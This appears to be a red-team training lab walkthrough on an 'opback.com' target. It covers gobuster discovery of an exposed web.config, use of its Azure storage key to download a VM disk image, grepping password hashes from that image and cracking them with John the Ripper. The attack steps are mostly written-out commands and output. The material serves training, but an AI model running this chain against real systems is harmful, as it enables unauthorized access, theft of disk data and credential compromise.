Another very surprisingly effective technique is that of analyzing the files mistakenly left exposed to the Internet in a unique way for sensitive information.

This information may be buried under a few layers of obfuscation but generally can be uncovered when a human spends enough cycles understanding the target space and turns over enough rocks.

Examples of this include:

- Hidden and/or unlisted folders and files on web servers
- .git or other code repository files left on web servers
- Insecure linking of folders into the web servers browse-able path (e.g. home directories)
- Package & other code repositories being left on the Internet without authentication

I call these these web servers the forgotten, as they were generally setup for testing something and/or in a hurry and where then subsequently forgotten and never properly secured.

Finding Hidden Content

We can find hidden folders and files on web servers using the gobuster tool with the following syntax:

We should see this in our terminal similar to this:

Terminal

```
root@ip-10-0-1-251:/shared# cd /shared

root@ip-10-0-1-170:/shared# cnoio_gobuster -t 100 -i -m dir -w /shared/lists/quickhits_noslash.txt -u http://opback.com/ -o /shared/gobuster_found_folders.txt

Gobuster v1.4.1              OJ Reeves (@TheColonial)
...
=====================================================
/test (Status: 301)
=====================================================
root@ip-10-0-1-170:/shared# cat /shared/gobuster_found_folders.txt
/test (Status: 301)
```

We notice in the output that something is different about the /test folder, as we received back a HTTP status code 301 but when we attempt to curl this resource we get the following message:

Terminal

```
root@ip-10-0-1-170:/shared# curl http://opback.com/test/
...

...
```

We can see that we don't have permission but this also implies that the resource does in fact exist on the target web sever but we just don't have access to it.

In cases like this, it's prudent to check to see if there are any additional resources, below this resource, which we can access, using a syntax similar to this:

Terminal

```
root@ip-10-0-1-251:/shared/lists# cnoio_gobuster -t 100 -i -m dir -w /shared/lists/quickhits_noslash.txt -u http://opback.com/test/ -o /shared/gobuster_found_files.txt

Gobuster v1.4.1              OJ Reeves (@TheColonial)
...
=====================================================
/web.config (Status: 200)
=====================================================

root@ip-10-0-1-251:/shared/lists# cat /shared/gobuster_found_files.txt
/web.config (Status: 200)
```

For example, if we find a secret which looks something like this:

```
...
  <connectionStrings>
    <add name="StorageConnectionString" connectionString="DefaultEndpointsProtocol=https;AccountName=rgred005disks;AccountKey=zGq...88.characters...UFA==;EndpointSuffix=core.windows.n
  </connectionStrings>
...
```

We will learn how to leverage these credentials in the following labs.

Hard Disk Download

Historically, until 2017, Azure has by default stored the hard disks for it's IaaS/VM service as files within Azure's blob storage service.

Note:

If you run out of hard disk space on your student instance in AWS, then take the following steps:
Firstly, Run the "docker-shark-attack" command to remove docker containers & images you are no longer using.
Secondly, Delete the .vhd, most likely stored in your /shared folder, if you have been following this guide.
Lastly, in the rare case where the above steps does not resolve your issue, you can always destroy and redeploy the entire environment via the CloudFormation service.

If an attacker where to obtain access to a credential that would enable access to the storage account holding the hard disks for the VMs, a variety of exploitation scenarios become possible.
For example, if we find a secret which looks something like this:

```
...
  <connectionStrings>
    <add name="StorageConnectionString" connectionString="DefaultEndpointsProtocol=https;AccountName=rgred005disks;AccountKey=zGq...88.characters...UFA==;EndpointSuffix=core.windows.n
  </connectionStrings>
...
```

We can then leverage this information with the Azure CLI to access the storage account using the following syntax:

```
root@ip-10-0-1-251:~# cd /shared
root@ip-10-0-1-251:~/shared# cnoio_azureclione
root@812909350b2c:/app# cd /shared
root@812909350b2c:/shared# export AZURE_STORAGE_ACCOUNT=rgred005disks
root@812909350b2c:/shared# export AZURE_STORAGE_ACCESS_KEY=zGq...88.characters...UFA==
root@812909350b2c:/shared# azure storage container list
info:    Executing command storage container list
+ Getting storage containers
data:    Name  Public Access  Last Modified
data:    ----  -------------  -----------------------------
data:    vhds  Off            Mon, 11 May 2020 19:10:22 GMT
info:    storage container list command OK
```

Note:

We are now downloading a 30GB hard disk onto presumably an AWS instance with 7GB of total hard disk space, hence we should probably just kill this download via Ctrl+C after we have downloaded a few GBs of data, otherwise we may fill up our own AWS instance's hard disk. I downloaded ~2GB of the hard disk and I was able to complete the rest of this lab but your mile may vary. Use "docker-shark-attack" command to remove all containers and to take back space (e.g. "df -h") on the EC2 instance.

We can then list the files/objects within this blob storage account using the following syntax:

```
root@812909350b2c:/shared# azure storage blob list --container vhds
info:    Executing command storage blob list
+ Getting blobs in container vhds
data:    Name                              Blob Type  Length       Content Type              Last Modified                 Snapshot Time
data:    --------------------------------  ---------  -----------  ------------------------  ----------------------------  -------------
data:    jumpbox00520210727132211.vhd  PageBlob   32213303808  application/octet-stream  Tue, 27 Jul 2021 19:25:10 GMT
info:    storage blob list command OK
```

We can then download a hard disk associated with a running VMs using the following syntax:

Note:

Ensure you CTRL+C the download before it fills up the hard disk on the AWS instance! You only need ~2GB to complete the lab.

```
root@812909350b2c:/shared# azure storage blob download --container vhds --blob jumpbox00520210727132211.vhd
info:    Executing command storage blob download
+ Download blob jumpbox00520210727132211.vhd in container vhds to jumpbox00520210727132211.vhd
Percentage: 0.3% (100.00MB/30.00GB) Average Speed: 9.09MB/s Elapsed Time: 00:00:11
```

Note:

If the newer Premium SSD disks are in use, you will need to detach the disk from the VM, even if the VM is shutdown, and then break/release the lease on the object (e.g. azure storage blob lease break --container vhds --blob webServer002.vhd) before you can download the hard disk.

Collecting Secrets

Once the hard disk is downloaded, which typically takes a while (~10 minutes), we can then extract strings (e.g. password hashes) and files (e.g. secrets) from the hard disk.

Extracting Hashes

We can search for password hashes using the following command.

```
root@812909350b2c:/shared# exit

root@ubuntu:/shared# strings jumpbox00520210727132211.vhd | grep ":0:99999:"
...
moss:$6$ghMzwPYh$.EIMM9RCinMbhZ7mTdFx2GoHZyW3U.6DXRiJeJI2acmSsECJb9N8HP1HCaoiFwed/5IWoR7uYqz23/hz86WRF.:17722:0:99999:7:::
...
```

Breaking Hashes

We can break the password hashes using the john the ripper password cracking tool.

```
root@ip-10-0-1-251:/shared# john
Created directory: /root/.john
John the Ripper password cracker, version 1.8.0
...
```

The following syntax with john the ripper will enable us to quickly break the collected password hashes:

```
root@ip-10-0-1-251:/shared/lists# cd /shared/

root@ip-10-0-1-251:/shared# echo 'moss:$6$q.2prgrg$xd0...redacted...Ddb.:18393:0:99999:7:::' > /shared/hashes.txt

root@ip-10-0-1-251:/shared# cat /shared/hashes.txt
moss:$6$q.2prgrg$xd0...redacted...Ddb.:18393:0:99999:7:::

root@ip-10-0-1-251:/shared# john --fork=4 --wordlist=/shared/lists/probable-v2-top207.txt /shared/hashes.txt
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
...
...redacted...       (moss)
...
Session completed
```

We can see from this output that the password for the user named "moss".

Let's also try to recover the password for the "pizzatrain" user...

```
root@ip-10-0-1-251:/shared/lists# cd /shared/

root@ip-10-0-1-251:/shared# echo 'pizzatrain:$6$NEyrpWuM$nUibeR2qXKSkOjPPZf.u/AARUTpeOHDJmBuXi89JVDMepSo9eKfG61jwbGc9qbY6ZtimBFIGwz66FAybtrTWE/:18835:0:99999:7:::' >> /shared/hashes.t

root@ip-10-0-1-251:/shared# cat /shared/hashes.txt
...
pizzatrain:$6$NEyrpWuM$nUibeR2qXKSkOjPPZf.u/AARUTpeOHDJmBuXi89JVDMepSo9eKfG61jwbGc9qbY6ZtimBFIGwz66FAybtrTWE/:18835:0:99999:7:::

root@ip-10-0-1-251:/shared# john --fork=4 --wordlist=/shared/lists/probable-v2-top207.txt /shared/hashes.txt
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
...
Th3V4nd4ls!@#    (pizzatrain)
...
Session completed
```

We can see from this output that the password for the user named "pizzatrain".

To see the cracked hashes again, use john --show

```
root@ip-10-0-1-217:/shared# john --show /shared/hashes.txt
moss:qwertyuiop:18835:0:99999:7:::
pizzatrain:Th3V4nd4ls!@#:18835:0:99999:7:::


2 password hashes cracked, 0 left
```

We could now hopefully use this credentials to gain access to the running VM via a remote access service like SSH or RDP.

Carving File

We can carve files out of the hard disk image using binwalk with the following syntax.

Note:

Watch disk space on the training VM while running this command from a second terminal "df -h". Stop (CTRL+C; ps, kill PID; etc.) the application if disk space becomes low!

We should be cautious in this scenario, as your AWS instance's hard disk is not very big and can be easily filled up:

```
root@ip-10-0-1-251:/shared# binwalk -Mre jumpbox00520210727132211.vhd

Scan Time:     2018-07-10 23:07:02
Target File:   /shared/jumpbox00520210727132211.vhd
MD5 Checksum:  e674d00ad66006e034ab81e9df47bdfe
Signatures:    344

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
6970880       0x6A5E00        Microsoft executable, portable (PE)
7073312       0x6BEE20        ELF, 64-bit LSB relocatable, AMD x86-64, version 1 (SYSV)

Signature Exception: Extractor.dd failed to extract data from '/shared/jumpbox00520210727132211.vhd' to '6C6288.elf': [Errno 28] No space left on device
...
```

Exercise

The Plan:

- Leverage gobuster to discover additional content for the "opback.com" target

-- Be on the lookout for secrets to access Azure services.

- Access Storage Service via Azure CLI with Secret

-- Download Hard Disk

--- Extract Hashes from Hard Disk

---- Crack Hashes using John The Ripper

References:

Check out the following references for more information:

- gobuster - https://github.com/OJ/gobuster
- SecLists - https://github.com/danielmiessler/SecLists
- John the Ripper usage examples - http://www.openwall.com/john/doc/EXAMPLES.shtml
- Install Azure CLI 2.0 with apt - https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-apt?view=azure-cli-latest